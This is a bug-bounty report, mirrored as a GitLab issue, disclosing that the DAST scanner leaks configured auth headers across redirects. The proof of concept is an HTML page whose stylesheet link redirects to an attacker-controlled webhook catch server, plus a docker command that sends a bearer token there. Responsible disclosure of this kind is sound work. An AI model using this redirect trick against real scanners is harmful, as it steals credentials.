Skip to content

DAST analyzer includes custom request headers in redirects

HackerOne report #1767533 by joaxcar on 2022-11-08, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary

The latest release 15.5.2 contained a fix for the DAST scanner made to block the scanner from sending custom request headers in every request. Leading to leaked headers. This seems to work, but the scanner still includes the headers if any link redirects to another URL

Take this page as an example https://joaxcar.com/scan.html it contains this HTML:

<html>  
  <head>  
    <link rel="stylesheet" href="https://joaxcar.com/redirects/no_cors.php?url=https://webhook.site/REDACTED" />  
  </head>  
  <body>  
  </body>  
</html>

This page contains a CSS link that is on the same URL, but that will make a redirect to my webhook. This will have the DAST scanner send the configured headers to the webhook URL and thus leaking any credentials.

This is a bit of a forced example, using CSS, but it will have the same effect if it is a link or any other thing the scanner will follow.

Steps to reproduce

This will happen if you configure this in the gitlab.com UI as either a build step or a on demand scan. But it is easier to prove by using the DAST scanner directly.

  1. Use this link to test the leak. Add a catch server as the URL param
    https://joaxcar.com/scan.php?url=https://WEBHOOK.SITE
  2. Run this command and replace target with the link you created in step 1
docker run --privileged=true  --interactive --tty --rm \  
 --env DAST_REQUEST_HEADERS='Authorization: Bearer secret-token' \  
--env DAST_ZAP_CONNECT_SLEEP_SECONDS='5' \  
 --env DAST_FULL_SCAN_ENABLED=true \  
--env DAST_BROWSER_SCAN=true \  
registry.gitlab.com/gitlab-org/security-products/dast:latest /analyze -d  \  
-t https://joaxcar.com/scan.php?url=https://webhook.site/REDACTED \  
 -r report.html
  1. Your catch server should now have two requests, both containing the auth header containing secret token (the scan will first fetch the CSS and then also make a spider request directly to the URL)

68747470733a2f2f68312e7365632e6769746c61622e6e65742f612f64353938313734362d323539612d343531382d616536322d3932333237363037386161322f637373312e6a7067

Impact

DAST scanner still leak configured headers to other domains if encountering a redirect

What is the current bug behavior?

Redirects are not filtered

What is the expected correct behavior?

The same as for regular of site links

Output of checks

This bug happens on GitLab.com

Impact

DAST scanner still leak configured headers to other domains if encountering a redirect

Attachments

How To Reproduce

Please add reproducibility information to this section:

Edited by Nick Malcolm